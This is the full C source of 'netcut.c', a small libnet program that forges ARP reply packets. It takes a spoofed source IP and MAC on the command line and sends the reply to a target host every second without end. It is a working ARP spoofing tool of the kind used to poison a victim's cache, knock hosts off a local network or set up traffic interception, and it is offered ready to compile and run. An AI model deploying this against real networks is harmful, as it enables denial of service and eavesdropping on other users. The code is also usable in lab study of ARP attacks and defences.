/*
  netcut.c - sends hand-crafted ARP packets
  (c) Marcin Ulikowski <elceef@itsec.pl>
  
  Compilation hint:
  gcc -Wall `libnet-config --defines` netcut.c -o netcut `libnet-config --libs`

  Requires libnet - http://libnet.sourceforge.net/
*/

#include <stdio.h>
#include <stdarg.h>
#include <unistd.h>
#include <libnet.h>

#define HTYPE 1
#define PTYPE 0x0800
#define HLEN  6
#define PLEN  4
#define OPER  2 /* 1 = REQUEST, 2 = REPLY */
#define ETHER 0x0806
#define DELAY 1

static void bug(char *format, ...) { 
  char buffer[256];
  va_list args;

  va_start(args, format);
  vsnprintf(buffer, sizeof(buffer) - 1, format, args);
  fprintf(stderr, "ERROR: %s", buffer);
  va_end(args);

  exit(1);
}

void usage(char *ex) {
  printf("Usage: %s -s <source-IP> -S <source-MAC> -d <destination-IP> -D <destination-MAC>\n", ex);
  exit(0);
}

int main(int argc, char *argv[]) {
  u_int src_ip, dst_ip, p[6], i, k;
  u_char src_mac[6], dst_mac[6];
  char *dev;
  char err_buf[LIBNET_ERRBUF_SIZE];
  
  libnet_t *l;

  dev = "eth0";
  src_ip = dst_ip = src_mac[0] = dst_mac[0] = 0;

  if (geteuid()) {
    bug("euid=0 is required (current=%u)\n", geteuid());
  }

  if (argc < 9) usage(argv[0]);

  for (i = 1; i < argc; i++) {

    if (!strcmp("-s", argv[i]) && i < argc - 1) {
      i++;
      if ((src_ip = inet_addr(argv[i])) == INADDR_NONE) bug("invalid source IP address");

    } else if (!strcmp("-d", argv[i]) && i < argc - 1) {
      i++; 
      if ((dst_ip = inet_addr(argv[i])) == INADDR_NONE) bug("invalid destination IP address");

    } else if (!strcmp("-S", argv[i]) && i < argc - 1) {
      i++;
      if (sscanf(argv[i], "%x:%x:%x:%x:%x:%x", &p[0], &p[1], &p[2], &p[3], &p[4], &p[5]) != 6) {
        bug("invalid source MAC");
      }
      for (k = 0; k < 6; k++) src_mac[k] = p[k];

    } else if (!strcmp("-D", argv[i]) && i < argc - 1) {
      i++;
      if (sscanf(argv[i], "%x:%x:%x:%x:%x:%x", &p[0], &p[1], &p[2], &p[3], &p[4], &p[5]) != 6) {
        bug("invalid destination MAC");
      }
      for (k = 0; k < 6; k++) dst_mac[k] = p[k];

    } else if (!strcmp("-i", argv[i]) && i < argc - 1) {
      i++;
      dev = argv[i];

    } else usage(argv[0]);
  }

  l = libnet_init(LIBNET_LINK, dev, err_buf);

  libnet_build_arp(
  HTYPE,              /* hardware type */
  PTYPE,              /* protocol type */
  HLEN,               /* hardware address size */
  PLEN,               /* protocol address size */
  OPER,               /* ARP operation code */
  src_mac,            /* source MAC */
  (u_char *)&src_ip,  /* source protocol address */
  dst_mac,            /* destination MAC */
  (u_char *)&dst_ip,  /* destination protocol address */
  NULL,               /* no payload */
  0,                  /* payload length */
  l,
  0);
  
  libnet_build_ethernet(
  dst_mac,            /* destination MAC */
  src_mac,            /* source MAC */
  ETHER,              /* EtherType */
  NULL,               /* payload */
  0,                  /* payload length */
  l,
  0);

  i = 0;
  while (++i) {
    printf("arp reply(#%u)\n", i);
    libnet_write(l);
    sleep(DELAY);
  }

  return 0;
}


